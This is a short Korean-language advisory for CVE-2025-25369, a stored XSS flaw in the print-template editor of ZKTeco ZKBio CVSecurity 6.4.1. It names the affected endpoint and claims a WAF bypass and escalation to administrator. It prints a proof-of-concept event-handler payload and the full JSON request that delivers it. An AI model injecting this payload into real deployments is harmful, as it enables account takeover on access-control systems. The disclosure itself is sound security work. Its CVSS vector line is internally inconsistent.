CVE-2025-25369: ZKTeco ZKBio CVSecurity v.6.4.1의 크로스 사이트 스크립팅(XSS) 취약점

ZKBio CVSecurity v.6.4.1에서 XSS 취약점이 발견되었습니다.
공격자는 Template Editor 권한으로 이 취약점을 악용하여 관리자로 권한을 상승시킬 수 있습니다. 내장 WAF 우회도 구현되었습니다. 이는 시스템의 완전한 장악으로 이어질 수 있습니다.

영향을 받는 버전: ZKBio CVSecurity <= v.6.4.1
수정된 버전: -

CVSS 점수: 4.3 (낮음)
벡터: CVSS:4.3 AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L

영향을 받는 구성 요소:

zkbiosecurity/system/remote/BasePrintTemplateRemote.class
basePrintTemplate.do?savePrintTemplate

공격 벡터:

인쇄 템플릿 생성 시 XSS 주입

페이로드:

onpointerdown="prompt(8)"

요청의 전체 데이터:

[{"printType":""background","width":318,"height":505,"printValue":"/upload/pers/101010101.txt"","direction":"1"},{"cell":"printData.person.pin","leftPoint":"77px","topPoint":"323px","width":117,"height":20,"printType":"text","style":"draggable" onpointerdown="prompt(8)" ui-draggable","color":"0, 0, 0","fontSize":"18px","align":"start","fontFamily":""Arial"","printValue":"pers_person_pin","direction":"1"}]

CVE-2025-25369

인기